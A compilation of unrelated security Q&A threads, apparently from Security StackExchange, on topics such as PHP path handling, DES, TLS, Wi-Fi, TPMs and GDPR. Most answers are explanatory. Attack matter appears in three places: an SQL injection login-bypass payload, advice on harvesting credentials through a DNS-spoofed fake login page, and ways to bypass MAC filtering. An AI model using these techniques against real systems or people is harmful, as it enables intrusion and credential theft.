How can nginx run a file with jpg extension as a php file? I have a follow up question on this answer about executing image files as php. The answer explains that nginx support virtual directories. One can run

www.something.com/blan.php/one/two/3

and one/two/3 will be virtual subdirectories. Then, according to the answer, if we have a file named malicious.jpg, we can trick nginx to run it as a php file like this:

localhost/malicious.jpg/something.php

How can this be possible? Is it misconfiguration or human error?

This is not strictly an Nginx problem, but rather is an issue with old versions of PHP.  It has been fixed for quite a long while (I'm not sure exactly what version, but it certainly isn't a concern with PHP 7.0).  The answers to this question:

https://serverfault.com/q/627903/377662

Explain the underlying issue and solution in detail.  The short answer is that what you are calling "virtual directories" are common in many web server applications (including Apache and Nginx) and are used so that the website can show nice urls (aka /categories/5) instead of (categories.php?id=5).  Imagine this flow:

User: Server, please give me /categories/5
Server (to itself): Hmm... /categories/5 isn't a file
Server (to itself): That's okay, this rule says that categories.php knows what to do
Server: PHP, The user requested /categories/5, and categories.php should be able to handle that.  Can you tell me what to return?
PHP: Okay, I talked to categories.php and here is your answer!
Server: User, here is the contents of /categories/5

Which is generally a fairly straightforward exchange.  The server has done everything properly - PHP needs to know not just the name of the file to execute, but also the details about what URL was originally requested.

Unfortunately older versions of PHP used to get confused and, despite being told by the server that categories.php was the thing to execute, would sometimes attempt to "fix" the information coming from the server and may end up executing a different file than what the server actually suggested.  This would lead to PHP executing test.jpg on the basis of the fact that the original URL was test.jpg/whatever.php, even though the server told it to execute a completely different file.

This should no longer be a relevant issue at all.  If you are worried though, you can just set the fix_pathinfo directive to 0 in your php.ini file.  Again, full details and background are explained extensively in the answers to this question.


Mapping of plaintext and ciphertext in DES The plain text and the cipher text have a one to one mapping. Given a pair of those, can there be multiple keys used to generate the same pair? Or can a particular plain text - cipher text mapping be achieved through only a particular key?

As is often the case, the answer is it depends.

In ECB mode, a single plaintext and key combination results in exactly one ciphertext output, and a single ciphertext and key combination results in exactly one plaintext output. This is a requirement for the encryption and decryption process: it must be reversible, otherwise it is rather pointless (then you'd be looking at some form of hash function).

If different keys could generate the same ciphertext from the same plaintext, then what would cause one ciphertext and not some other to be generated? There is no random number generator involved in DES (although you'd hope there is one in key generation).

If different plaintexts could generate the same ciphertext given the same key, then how would decryption determine which plaintext is identical to the originally encrypted plaintext?

It follows from this line of reasoning that in ECB mode, the same pair of plaintext and ciphertext must map to exactly one key.

Of course, nobody in their right mind uses ECB mode as anything more than a building block for something more robust. However, as pointed out by Mark, your question doesn't make a lot of sense in modes other than ECB.

Modes other than ECB, such as CBC (Cipher Block Chaining), CTR (Counter), CFB (Cipher Feedback) and so on feed something more than the plaintext/ciphertext and key into the encryption/decryption function. These are normally initialized with some form of what is known as an Initialization Vector (abbreviated IV) or nonce (for "number used only once"). The IV simply randomizes the process.

In these cases, when working with a single block of plaintext data, you can expect for any combination of plaintext and key any ciphertext value to be possible, with the IV essentially functioning as a selector. The next block is processed similarly but with something about the previous block taking the place of the IV. The IV is normally not considered a secret; its purpose is not to protect the plaintext, but rather to force an attacker to use an attack mode that cannot be reduced to effectively a table lookup as can be done with ECB (a very large table, but still a table lookup). Using a feedback mode of some sort also ensures that patterns in the plaintext do not appear as patterns in the ciphertext.


Blacklisting during a penetration test? So i had a debate recently where one of my colleagues believed that by launching a penetration test (one requested by our clients) from our one of our IP's we could potentially get that IP/all IP's in our block banned.

We are signed up with an ISP that allows for this kind of activity on our link (as long as its legally done), so my question is, do ISP's have the ability to detect and blacklist attack traffic on their networks?
Do end-point 'client' firewalls have the ability to blacklist IP's not just on their firewall but to 'report it back' to some central server somewhere which will blacklist our IP across the world (to anyone using that blacklist)? I know such blacklists exist for Spam sources but i'm not sure about attack traffic.

Note:

We are not using any bandwidth intensive attacks (like DDoS attacks which would adversely affect ISP traffic)

Hope someone can help!
Thanks

Detecting the attack traffic from a penetration test requires deep packet inspection. DPI is very expensive to implement on an large level and doesn't directly generate revenue.

Common uses of DPI by ISPs are:

Lawful intercept. This is mandated by authorities and is targeted.
Targeted advertising. $$$
Quality of service. Generates revenue by offering good QoS.
Offering tiered services. Also revenue generating.
Copyright enforcement. Mandated or paid.

One way for an ISP to enforce an acceptable use policy is to perform DPI on a statistically meaningful sample of the traffic.

  Do end-point 'client' firewalls have the ability to blacklist IP's not
  just on their firewall but to 'report it back' to some central server
  somewhere which will blacklist our IP across the world (to anyone
  using that blacklist)?

Unified threat management products are able to centrally manage alerts and push derived rules across the network.


Can sqlmap be used on telnet? Is there a way to use sqlmap over telnet or do I have to manually create a web wrapper that will send the payload over a parameter and output the response?

SQLmap has no native support for Telnet, and it's not clear that it would handle typical telnet (or similar protocol) responses in a useful way: it makes use of (among other things) the status code for responses, path components of the URL and encoding of HTTP parameters in request bodies. None of these would apply to a telnet connection.

You can use SQLmap to directly scan a database management system, using the -d switch, but this uses whatever protocol the DBMS uses, and tends to require credentials to access the DBMS.


Check the WWAN IP gained from a external site like visiting www.whatismyip.com from your iPhone.
Chances are that the carrier are doing a NAT444/CGN on your connection, but not obeying RFC 6598, but using live adresses as NAT adresses to avoid breaking customer's routers (which would happen if they would use RFC 1918 adresses).

If you get the DoD IP there, it might just be outdated WHOIS data for the IP in question, eg that the IP is no longer in DoD's ownership, but WHOIS hasn't been updated yet.


SSL: MITM possible if private key is known? If a Man-in-the-middle has the private RSA key of the SSL encryption.
It should be possible for the Man-in-the-middle to decode the entire HTTPS datastream right?
So, then the encryption is essentially broken.

There are two relevant attacks:

An active attacker impersonates the server. You can't do anything about that if you trust the attackers key. So you need to keep the server's private key private, and you have to make sure that you only trust the right keypair. Typically we use Certificate Authorities to attempt to solve the later problem.
A passive attacker sniffs your connection with the legitimate server. If they know the server's private key they might be able to decrypt the SSL encrypted session. This depends on the handshake and thus on the chosen ciphersuite.

With the weak RSA ciphersuites the server's private key has two uses: Authenticating the server and ensuring confidentiality. When an attacker learns the server's private key these connections can be decrypted without impersonating the server.

Stronger suites use ephemeral Diffie-Hellman keys. Here the RSA key only serves to authenticate the server. Confidentiality comes from the Diffie-Hellman key-exchange with keys that are only valid for this single connection. In this case knowledge of the RSA key doesn't allow decryption of the connection. Ephemeral Diffie-Hellman provides perfect forward secrecy because when the private key leaks, past connections can't be decrypted.


In which OSI layer does session hijacking occur? In which layer of the OSI model does session hijacking occur?

I have performed some research on this, and found that the answer is the transport layer.

But is the transport layer not the place where the routing takes place? And when we use packet sniffers like Wireshark, we dump all the packets to our local machine.

We are finally routing them to our machine and then we are playing with the packets. So as all the layers of the OSI model function independently, I believe the answer of the question should be the network Layer.

Session hijacking can potentially take place on several levels of the OSI model (possibly all), as well as outside of the network.

Physical: Tap someones physical connection, and send all packets to the MiTM.

Data Link: ARP poison someones ethernet connection, and send all packets to the MiTM

Network: Manipulate the packet routing, and send all packets to the MiTM.

Transport/Session A secure protocol such as SSL/TLS will protect against compromise of the data, but if an attacker has also broken TLS/SSL, then a break at this level would break the protection from compromises at lower levels.

Presentation I can't think of anything at this level, and it doesn't map well onto TCP/IP and protocols, but that doesn't mean it's not possible.

Application You might debate about this, but I'd argue that CSRF, Code injection, and XSS are all at the Application level.

Outside Any compromise of the machine itself that can grab a session key and transmit it to an attack, be it physical, OS or some other application would be outside of the OSI model.


Does zeroing a file on Android work similar to a regular HDD? On a regular PC hard drive, files aren't actually deleted, so they can still be recovered from the raw data on the drive. So there is the process called zeroing out a file when you delete it so that the chuck of binary space on the HDD is set to all 0s when the file is deleted.

Is this the same for an Android device?

I've read that SSDs may work a bit differently. So would having an app overwrite the file with binary 0s before deleting it have the same effect and protection against file recovery?

As was mentioned in the comments, Flash memory in mobile phones acts very similarly to SSDs, and therefore securely deleting a file is mostly impossible.

Quick summary: Flash memory can only be overwritten finite amount of times before it dies. To prevent parts of memory that are used often from dying, flash memory uses wear leveling.

That means when you delete a file, it only marks the space as free to be used for writing later, but it does not overwrite the file, as that would increase the wear unnecessarily. When you want to write data, it chooses a sector marked free that had the least amount of writes. It spreads the writes out in this way. This however means, that if you try to securely delete a file by let's say writing zeroes to it, the zeroes may be written to entirely different part of the memory (with less writes) and the file may remain.

Overwriting the whole flash memory also is not an option, as these memories have additional space reserved for leveling. So if you have 16GB memory, it may in reality be something like 20GB, the 4GB being in reserve to use for leveling when the memory is nearly full. More details here.


Bypassing hidden SSID and MAC filtering "protection" I was browsing over this question and had some follow up questions from a practical perspective.

What tools will show the SSID of an AP with the SSID set to hidden or broadcasting disabled? I have looked at Kismet and similar tools but they don't seem to show the name of the hidden SSID. Do you have to use a packet inspector such as Wireshark to see this? If a packet inspector will show it, why wouldn't tools such as Kismet show it?

As for MAC filtering, it is trivial to see a list of clients connected to an AP. My understanding is the problem lies with booting the other client of the network so that there is no conflict? In which case, how could you do this if you are not on the network? Or would you join the network and have there be a conflict briefly while you removed the other client?

Perhaps it is as simple as deassociating the user and joining first, or some other sort of DoS attack?

If you don't broadcast the SSID it takes some monitoring of traffic with Kismet, but it will eventually pick it up. The more traffic actually going across the wifi, the faster it will identify it.

Mac filtering can be bypassed multiple ways, by being patient, or by flooding a device with garbage.  The second can be done with a jammer and a directional antenna, or through various techniques detailed elsewhere.

Spoofing a mac address is trivial, and once done (if time is not a factor) one simply waits till the device disconnects and connects in it's place.


Microsoft Office Memory Corruption Vulnerability Remote(CVE-2017-11884) or? Is that CVE-2017-11884 is remote vulnerability which requires user interaction ? Can one execute it without luring the end user to run crafted file or something ? Well, I assumed that all remote vulerabilites are self standing and doesn't require user interaction, it seems that I'm wrong can you shed some light on that ?

Wether a vulnerability is remotely exploitable or not is open to interpretation sometimes.

It seems that this vulnerability allows a remote user to craft a file that when executed by the user circumvents the usual security mechanisms that should be in place for files that didn’t originate on that system.

Depending on your interpretation of “remote” there may never be remote vulnerabilities as all vulnerabilities that may be exploited on a machine are local to that machine, i.e. a problem with locally installed software.

In this case - as far as I read the vulnerability - I’d classify it as local rather than remote, but this is somewhat open to interpretation.

There are however remote vulnerabilities that need the user to interact in order to be exploited, either by clicking a button or a link or something else.

You are right that there also exist vulnerabilities that can be remotely exploited without user interaction, but they are rather rare.


Can the HALT CPU instruction be used to stop attacks? Not sure what the HALT CPU instruction is used for these days but I was thinking that if there was a kind of watchdog process that could determine if a computer had gotten infected and stop it right away, that would reduce the damage.

Would halting the CPU be a useful way to prevent serious infections or other system compromises?

Interesting idea, but that instruction doesn't do what you think it does. From Wikipedia:

  In the x86 computer architecture, HLT (halt) is an assembly language instruction which halts the central processing unit (CPU) until the next external interrupt is fired. Interrupts are signals sent by hardware devices to the CPU alerting it that an event occurred to which it should react.

A kernel-mode driver could issue that instruction, but the next hardware interrupt would have the CPU resume whatever it was doing. Also from Wikipedia:

  For example, pressing a key on the keyboard or moving the mouse triggers hardware interrupts that cause the processor to read the keystroke or mouse position.

The instruction's real purpose is to save power, since stopping the CPU saves a lot of power compared to a no-op loop. I'm sure your computer uses HLT many times a day without you noticing.

If the system needs to halt immediately, a more effective option would be to trigger a bugcheck (a fatal system crash, like a BSOD on Windows). Another option is to scribble over fault handlers to get a triple fault, which can cause the machine to reboot.


Why did Java (JRE) vulnerabilities peak in 2012-2013? I've taken a graph of the amount of CVE reports concerning the JRE per Year.

Now as you can see this spiked in 2012-2013, which could have been guessed easily, if you look at the amount of news items concerning java in the past years. However, I'm having trouble finding an explanation why:

Did Java get more popular?
Did Java just become more popular for
hackers?
Is it because of the acquisition by Oracle?

I think this is a "trend effect" which is also the drive under everything about fashion (in the "clothing" sense). Please allow the local Frenchman to talk about fashion.

Fashion is a deeply self-contradictory social behaviour. People who follow fashions seek both:

to gain acceptance in a given local group by displaying adherence to perceived agreed upon codes (e.g. the arbitrary choices of cloth shapes and textures and colours);
to gain visibility within the same group by displaying a bold (implicitly: bolder than other group members) will to embody the most up-to-date or even future social codes for that group.

In effect, the fashion-victim must be both a leader and a follower. If the context were electronics, we would say that we observe a circuit with positive feedback, which must necessarily exhibit sharp transitions between locally stable configurations. An extra effect is that, in clothing fashion, the only universal effect is fast depreciation: no fashion may ever remain active for more than a few months. In short words, fashion is fast-pace, and when it tilts one way ever so slightly, everybody rushes in that direction. This explains the way fashions come and go with violent abruptness.

Hackers are the geek version of fashion victims. Their interest and efforts are always driven by what seems to be "hot subjects". People who spend their days and nights on keyboards are often very sensitive to social exclusion (since they get little society on average) so they abhor the idea of concentrating on an "has been" technology which would deprive them of the last shreds of peer recognition that they may hope for. Therefore, when a topic seems to promise glory, they all run towards it. "Glory" can here be equated with "slashdottable".

In the specific case of security and Java, the trigger may well have been, indeed, the acquisition of Sun by Oracle. Oracle is a known "bad guy" so there always is some fame in finding security holes in Oracle's products (computer people have always had a soft spot for nihilism). Moreover, the security model of Java (the applet model) looks ripe with potential vulnerabilities: in the Java applet model, the "security perimeter", which is the boundary between the hostile world (the applet code itself) and the protected world (the host system) goes through the standard library API: hundreds of system classes must check and enforce the complex system of permissions. The attack surface is huge. There MUST be holes now and then. Sun's people were quite good at what they did, but making the applet model safe would take divine development powers.

As soon as a few bugs were found and publicized, the idea of unclaimed reputation riches went through the collective hackers' minds like a fire in the savannah, and they all rushed. Such is the power of Bonanza. Once brains are ablaze with the promise of wealth (in this case, Twitter followers or Slashdot scores), there is no stopping them.

It will end soon, though. "Java bugs are soooo 2013 !"


Wi-fi Certificate Permission and Access to phone/data There are several questions addressing similar questions, but not quite the same (others ask about MITM Attacks). They also state conflicting and opposing answers/responses, so I ask here 3 specific questions regarding accepting a company’s Wi-fi Certificate when connecting to their network, which is controlled with corporate account credentials to access, on a personal device.

Basically, authentication occurs via company account (email) credentials when selecting the secure network. Once verified, it asks to accept, “Trust” a Certificate as such:
.

Looking through the details, I add this to help answer my questions:

Does accepting this certificate give the company the right to access my phone? I.e.) does it give some sort of root access or anything like it that allows them to view/access data on my phone. This means accessing both information on the actual device (photos, emails, etc) and data/information being transmitted via the network. I don’t mean monitoring, but being able to access my phone.
If they can only see/access the data being transmitted through the network (monitoring basically), is this generic like base destination URLs or would it be specific addresses and actual content?
How would all this be affected by using an independent VPN service? (Someone recommended using it in other questions)

I basically want to know how much right/privacy I would be giving up by accepting to trust this certificate.

For all I can tell is that it may only be for authentication, but is it really only that, and what I’m a further accepting to by authenticating? For all I know, I could be accepting to the company accessing data on my phone.

Thanks in advance!

No, you're simply installing a certificate that serves to bolster the legitimacy of the RADIUS server you're authenticating with (and encrypt LAN connections).
If you're talking about SSL decryption, of the kind done in your average corporate network, no. By accepting their certificate, you're not accepting a certificate authority-- you're simply accepting that the certificate will be used to encrypt connections between you and the router. Unless you're using a VPN service or encrypted DNS, they would be able to see the hostnames you're visiting, but nothing more.
The security of a VPN service shouldn't be impacted by this at all. Again, you're not accepting any sort of certificate authority. That certificate can't be used for anything other than encrypting the connection between you and the router. OpenVPN profiles and such come with their own certificates, anwyay, if I recall correctly (tell me if I'm wrong here).


After getting doxxed, how can one protect personally identifiable information? Doxing (publicly releasing private information about an individual, to make it easier to harass them) is becoming an increasingly popular tactic not just for hackivists and Anonymous, but also for petty individual revenge.

What are actionable, best practice steps that an individual should take to regain control of their personal information after they have been doxxed? A lot of social engineering advice is predicated on not releasing such information, or controlling access to it — clearly useless to a victim in this situation.

If details are needed, assume the following are present in the document dump:

Name, physical address, telephone number
Facebook profile, email address
Work history including contact numbers for employers past and current
Family members, their relationship and address or phone number

Assume that the victim was the victim of a personal attack, rather than a corporate breach, and thus has no IT or legal resources to draw upon.

Once your information is made public, you cannot make it private again. That is unfortunately one of the things the Internet gives us. You can make formal complaints to sites hosting the information, but assume it will be there, available in large stores of PII, for bad guys to do with as they will.

So all you can do is decide which of those things you need to change, eg by moving house, changing your name, job, mobile phone number etc.

Personally, the only ones I'd want to change if I was under a personal attack would be email and phone numbers. If the attack grew to be physical, I'd get the police involved and if necessary, move and change my name.


Stop DNSSpoof after login Preface: I had an argument with a buddy the other day, he said it was impossible I disagreed.
So say I have a large network of computers all visiting the same website for some reason. Then I have a DNS redirect from login.php (The original site). I will supply a fake login page from my own apache server (fake.php). Is there a way to stop the spoof or redirect in a way that it wont be intercepted and spoofed again when a user logs in?

So the user goes to login.php
User is redirected to fake.php
Types in fake credentials
***Redirects to login.php to login for real this time.
***End spoofing for that specific IP, or redirect in a way where the user wont be spoofed again.

The only problem is if I do redirect to login.php after a login it will be spoofed again!
Is there any way to stop this? I thought about not using UDP port 53 (Which is what MITMF's DNS plug in uses). But how can I redirect then? Direct GET/POST data and print the output externally?

I am using MITMF with arp and dns spoof. Any Ideas?

Interesting question.
If i understand correctly: fake.php is the frontend to login.php on the main server, and you are spoofing both.

If i am, then:

I would record the user's internal IP, and credentials, then store it.
if the ip that visits login has been there before, forward the data to the real server. If the password is correct (check using some kind of regex kung-fu), great, step out of the equation. If it isn't, forward the incorrect password page and go back to fake.php, repeat the process and replace the incorrect credentials stored with the correct ones.

I would personally recommend using scapy or bettercap.


Where are fingerprints stored on an Android phone? Many recent phones come with a fingerprint scanner. I use them rarely but I'm curious how do hardware and software protect user's fingerprint data from being stolen.

Does a fingerprint scanner come with its own storage where fingerprints are stored?
How does the fingerprint scanner decide which fingerprint requests from apps are legitimate?
When you factory reset a phone, do all the fingerprints get securely wiped?

Does a fingerprint scanner come with its own storage where fingerprints are stored?

No, but Android uses a Trusted environment, known as Trusty TEE. This secure enclave runs the Trusty operating system. The Trusty does not hand out the fingerprint data.

On hardware with support for a secure enclave, this OS will run on special parts of the hardware, unavailable to the rest of the OS. It communicates via a dedicated interface.

  How does the fingerprint scanner decide which fingerprint requests from apps are legitimate?

It doesn't. That's left to the user. But the fingerprint scanner doesn't return raw fingerprint scan results to the OS. An app requests the Trusty OS to authenticate the fingerprint, using the relevant API. It then tells the app whatever the authentication succeeded or not.

  When you factory reset a phone, do all the fingerprints get securely wiped?

I would imagine that wiping the device nukes any encryption keys, which will probably be stored within the TEE. This effectively makes the data unrecoverable, as it is unencrypted. I could however not find any sources for this.


Is it safe to browse the web through an SSH SOCKS5 connection to an untrusted proxy? I have established an SSH tunnel to an untrusted machine:

ssh -N -D 12345 john@example.com

Next, I set up Firefox's connection settings to use the SSH tunnel by setting the SOCKS host to 127.0.0.1, and the SOCKS port to 12345.

I do not need to hide the fact that I am proxying http requests, but I am concerned that this setup allows the untrusted machine to eavesdrop on the contents of the traffic when I browse the web. Is this a valid concern?

Accessing an untrusted machine with SSH is a problem in the first place, see What are the risks of SSHing to an untrusted host?, Risks of ssh to an untrusted host?, Is it safe to connect to random SSH servers?.

Additionally SSH only protects the connection between the two SSH peers. That means that the traffic is no longer protected on the untrusted SSH endpoint and that this untrusted system can sniff and manipulate the traffic.


Simple SQL injection to bypass login in MariaDB I'm trying out SQL Injection on my localhost. I have a simple HTML form, with a username, password and a submit button. So after clicking on the submit, user is redirected from login.html to a page called login.php:

<form method="post" action="login.php">

Below is a snipped of my PHP code:

$connect = mysqli_connect($dbhost, $dbuser, $dbpass) or die("Unable to connect to '$dbhost'");
mysqli_select_db($connect,$dbname) or die("Could not open the database '$dbname'");

$message="";
$username = $_POST["uname"];
$pass_raw = $_POST["password"];
$password = md5($pass_raw);

$result = mysqli_query($connect,"SELECT *  FROM students WHERE uname='" . $username . "' and password = '". $password."'");
$row = mysqli_fetch_array($result);

if(is_array($row)) {
    echo "Congratulations! you have logged in!";
    printf("Your First Name %s and Last Name is %s", $row[3], $row[4]);
    printf("Your SSN is %s ", $row[5]);
} else {
    $message = "Invalid Username or Password!";
    echo "invalid user ";
}

I'm able to login to the if I enter the right user and password. I'm trying to perform SQL Injection, but I'm unable to. I have tried using ' or ''=' but I'm still not able to login. I'm trying this out in Kali, which comes pre-installed with MariaDB.

In MariaDB the comments must be followed by a space:

  From a '-- ' to the end of a line. The space after the two dashes is required (as in MySQL).

Please try ' OR 1=1 --[space].


How do you remove the Security Sphere malware? My boss' computer has become infected with something called "Security Sphere". When googling for information on how to remove it I get many pages that have been optimized for the term "Security Sphere removal", usually trying to sell their own spyware removal tool. So I thought I would turn to a source I trust.

How do you remove Security Sphere specifically or malware like it in general? My boss is running windows 7.

There are plenty of free AV solutions that can cleanup common malware, links to two below.

Security Essentials
AVG Free

Make sure to read the EULA as I do not think AVG Free can be run on business computers, I think Security Essentials allows it.

Cleaning it off is the first step. You will be chasing your tail without determining how it got there in the first place. Run the computer through Secunia Online Software Inspector to determine if there is unpatched software on the computer.


Can I tell Linux not to swap out the data space of a specific process? I need to be able to write a program that uses a secret value that I want to ensure never gets written to disk during a page swap. The value is securely entered when the program starts, and gets erased (by secure garbage collection) when it is no longer in use.

Can I tell linux not to write out a specific data value of a specific process to disk during a process switch or page swap? If not a single value, all variables/data for a specific process?

This question has been asked in part here:

https://stackoverflow.com/questions/578137/can-i-tell-linux-not-to-swap-out-a-particular-processes-memory

but there wasn't a satisfactory answer (a lot of "don't do this" type answers because the context wasn't explained).

I can't find any specific references to this problem elsewhere.

If the answer is 'no' then how can a program dealing with private information (e.g. GnuPGP amongst others) avoid having private keys hanging around on disk for some time (even if very short) leaving it prone to unauthorised snooping or forensic data recovery?

You can use mlock, which were also mentioned in the question you referenced. From the man page:

  mlock() and mlockall() respectively lock part or all of the calling process's virtual address space into RAM, preventing that memory from being paged to the swap area.

But, this might not be enough because in case of a crash your program might leave a core dump which still includes these data. To get a much more detailed answer read Protecting sensitive data in memory.


Securing a web service consumed by chrome extension I'm trying to think of a good security method to secure a web service consumed by a google extension. As known, google chrome extension's source code is open to anyone. My extension mainly deals with the user's fb content and sometimes send requests to the web service.

How would it be possible to secure the web service to make sure that the messages comes only from the extension? I want to avoid any messages that is send by a third party claiming to be the original user.

It's not possible to prevent a user from spoofing requests. Your framework should be such that spoofed requests sent by a user should not matter. For example, I can spoof  comment POST requests all I want to Facebook, and I'll just get a bunch of comments. There are no only client-side restrictions preventing me from doing something I'm not supposed to do. I can't post to a closed group by modifying the group ID in a POST request. The server will just block the request. If you don't want your users to be able to do something, block it on the server side.

However, what you can do is use a good user authentication system to prevent a user from spoofing another user's request. Either connect to OpenID, or use a persistent session cookie(to avoid asking the user to authenticate every time) and your own authentication. THis will prevent a user from spoofing another user's request.


How safe are Wi-Fi Hotspots? Because WPA 2 is compromised, is there any other security protocol for Wi-Fi? WPA 2 can be cracked using Aircrack-ng in Kali Linux. Is there any other security protocol for Wi-Fi which is not compromised?

EDIT/UPDATE 2017-10-17: This answer does not account for KRACK. That's an attack on both WPA2-PSK and WPA2-Enterprise. There's ways to detect and mitigate it, but they're not covered here.

You need to make a difference here. There's multiple things to consider. Also "WPA2" isn't precise enough – there's WPA2-PSK (pre-shared key), and WPA2-Enterprise (which relies on an external auth server)

1. The attacker wants to gain access to traffic or network, but is not in possession of the credentials to enter

Well, bad luck. WPA2, both PSK and Enterprise protect well against that, unless the credentials are easy to guess. And that's not a "brokenness" on part of the system – if you used your user name as login to a website, you really can't blame the website for being "easy to crack".

So, in this respect, WPA2 is utterly secure (as long as you don't use WPS, but your question is about hotspots, so that's pretty surely not the case).

2. The attacker is already part of the network and now wants to read other user's traffic

That's an especially relevant attack scenario for hotspots – getting access to the network might be as simple as buying a cup of coffee in cash.

So. Let's make a difference here:

2.1. Hotspot uses WPA2-Enterprise

You log on to the hotspot, proving (securely) that you know the credentials. The access point checks that in cooperation with an authentication server (802.1x). The authentication server generates a secret that is cryptographically secure enough to base your communication with the Access Point on. Every user gets a different key for encrypting their traffic. No user can spy on other users.

WPA2-enterprise is not "broken" in any sense of the word.

2.2. Hotspot uses WPA2-PSK

You log onto the access point, proving that you know the PSK. The access point generates, in cooperation with you, a secret key with which you encrypt and decrypt traffic between you and the hotspot.

Other users do the same: prove that they know (the same) PSK, then generate a secret for their traffic crypto.

So, in a first look at the system, this is just as secure as WPA2-Enterprise.

HOWEVER: Due to weaknesses in the way the user-AP secret keys are generated, it's very easy for someone who already has one of these keys (which being logged on to the cafe's AP guarantees) and knows the PSK (which every user of your favourite coffee shop does) to recover the secret user-AP key of someone else by observing but a couple packets, totally passive.

That is a serious design flaw.

Hence, WPA2-PSK is "broken" in the sense that it doesn't protect users of a WiFi network against spying by other legitimate users of the same network. @Josef and I aren't in full agreement whether that is "by design" or really "brokenness".

In any case, what you should take away from this is: whenever you're on a WiFi that uses the same key for everyone, your traffic can be read by everyone else on the network.

Is there any other security protocol for Wi-Fi which is not compromised?

Use WPA2-Enterprise. You will need to set up a 802.1x server (typically, radius or something equivalent), and that can be a hassle, but if you own an Access Point and want to provide secure access to everyone, that's your only choice. And it's not that complicated, at all.

If you're just a user of a wifi, old saying says:

Trust no-one else's infrastructure. Use encryption.

In other words, if you're on a network where you can't trust other users, you might as well not trust the Access Point, which has the job of deciphering your WiFi traffic...

Use a VPN whenever you're on someone else's network. That's standard etiquette.


Device security in IOT I am working on an IOT device that sends data to the server after authenticating itself to the server. Is there a way to safely store my device's credentials for logging onto the main server and sending data to it.

The IOT device can be physically compromised, and the data that I need to store on the device is IP address of the server, identification key for the device and private key for asymmetric encryption. From what I have researched, it is possible to retrieve this information from memory if stored in plain text but if I encrypt it, it still requires me to store the encryption key somewhere since the device has to work without human intervention. Are there any solutions for this?

One solution I found is storing keys and credentials on TPM, but I still have this doubt that somewhere in the process, will the data be available in plain text and can be read using memory dump of the ram? Because to connect TPM to my MPU, there must be buses involved and whenever I send data for encryption into the TPM, it will still be available in the buses.

From your question I understand that your IOT device need to store some sensitive information. To prevent adversaries who have physical access to these systems from obtaining the information is multifold. It would be a combination of physical security controls as well as system level controls.

Sensitive information in memory -

By memory, I am considering volatile memory - ie; RAM. It would be virtually impossible for you to prevent the sensitive information from being in memory in clear text because your client program would need the data in clear text. However the possibility if accessing the data from memory is pretty limited if you aren't opening up any other vulnerable interface which would provide some sort of shell like interactive access to the device itself.

Sensitive information in filesystem -

There are three potential ways a user can obtain the information.

By reversing the firmware package
By dumping firmware from the device using any open test interface like JTAG
By using SPI or similar interfaces to read on board flash storage

All three can be resolved by encrypting the respective storage. First two by encrypting the firmware and by leveraging a solution similar to FDE. Read more in TPM. A hardware fuse which limits access to the trusted module also would be required to resolve your issue.


I am receiving weird emails regarding GDPR from electronicprivacy.eu Since a week, I am getting some French emails. Since I don't know French I used google translate to know what is this about:

Email 1:

  Bonjour,

  En application de mon droits d’accès et d’informations sur les
  traitements de données personnelles me concernant, je souhaites
  obtenir de votre part la confirmation que vous n’avez pas dans vos
  bases de données ou celle de vos sous-traitants d’informations liées à
  mon email. Ma démarche fait suite à la réception de spam alors que
  l’usage de cette adresse email est extrêmement limité; ainsi je
  souhaites que la procédure de recherche se limite à mon email et aux
  données que vous ou vos sous traitants pourraient avoir associées.

  Je ne souhaites pas accéder aux données de compte ni à des données
  liées à une identité physique. Ainsi je vous demande de procéder au
  contrôles sur la base de ma propriété de cette email sans autre
  procédure de contrôles qui seraient excessives au regard de ma
  demande.

  Dans l'éventualité où des données me concernant seraient
  détectées...je vous demande de me préciser la source d’obtention de
  ces données et les traitements et partagent associés.

  Dans l'attente de votre retour

Email 2:

  Je me permet de vous relancer concernant ma demande d’accès aux
  données liées à mon email datant de la semaine dernière. Avez vous
  bien reçu ma demande? Vous avez légalement 1 mois pour me répondre.
  Dans la mesure ou ma demande est simple et limitée,le prolongement
  d’un mois du délais de réponse me semblerait plutôt inapproprié.

  Dans l’attente d’un retour de votre part.

So basically, this person is asking me if I process his data (I don't have any business in France) in my app, which is targeted to different country.

I did not respond to this email, thinking it was kind of a spam, however the second email says that I should respond to the first email and I have 1 month to do so.

My questions are, what is this? Am I obliged to respond with 1 month to such emails? I don't know French, so officialy I can reply: I don't speak French, so no idea what you want. If he starts talking in English, I can do the same, telling I don't speak English :)

All the emails comes from electronicprivacy.eu.

Just got the exact same-very-bad-written-in-French email.
I do have a business (canadian based, but we are mostly working with large companies abroad). It smells very fishy... phishing?

Found this website (in French of course)

https://www.cnil.fr/fr/professionnels-comment-repondre-une-demande-de-droit-dacces

It says :
« Quels justificatifs demander ?
Pour exercer ses droits, la personne doit justifier de son identité. Par principe, cette justification peut intervenir « par tout moyen ». Ainsi, il n’est pas nécessaire de joindre une photocopie d’un titre d’identité en cas d’exercice d’un droit dès lors que l’identité de la personne est suffisamment établie (par exemple, par la présentation d’un numéro client ou des éléments permettant d’identifier des abonnés à un service).
Par ailleurs, dans un environnement numérique, le fait d’exercer ses droits depuis un espace où la personne s’est authentifiée peut être suffisant, en fonction des données d’identité numériques demandées (par exemple FranceConnect).
Néanmoins, si vous avez un « doute raisonnable » sur l’identité du demandeur, vous pouvez lui demander de joindre tout autre document permettant de prouver son identité, comme par exemple, si cela est nécessaire, une photocopie d’une pièce d’identité. En revanche, vous ne pouvez pas exiger systématiquement de telles pièces justificatives, lorsque le contexte ne le justifie pas.
Il est par exemple disproportionné d’exiger automatiquement une copie de la pièce d’identité si le demandeur effectue sa démarche dans un espace où il est déjà authentifié. Une pièce d’identité peut toutefois être demandée en cas de suspicion d’usurpation d’identité ou de piratage du compte par exemple.
Le niveau des vérifications à effectuer peut varier en fonction de la nature de la demande, de la sensibilité des informations communiquées et du contexte dans lequel la demande est faite. »

So basically, ask for a Client Number or anything that could identify the person asking for sensitive data. That should solve the problem; if it's phishong, the person will send you a fake Client Number then you can decline its demand or you'll get no reply to your email. Either way, you'll be safe if ever this email was legit.


Is there a web application firewall equivalent of virustotal? I'm wondering if there is a web application firewall (WAF) equivalent of VirusTotal? A site where I can throw for example injection strings, exploits or xss, and it will tell me what the default setups for different WAFs will detect.

I know there is the ModSecurity site out there which I could set up myself and experiment on, but I'd like one that covers the commercial offerings so I can get some experience with the way they work.

Question taken from seclist.org

I know of no such site. It's unlikely that such a site would exist, because WAF's don't block things on based on signatures like anti-virus.

WAFs must be configured to work properly. For each input field, you need to tell the WAF what that field can contain. Is it a number? An alpha field? Or can it contain arbitrary characters, including quotes, commas, dashes, semicolons?

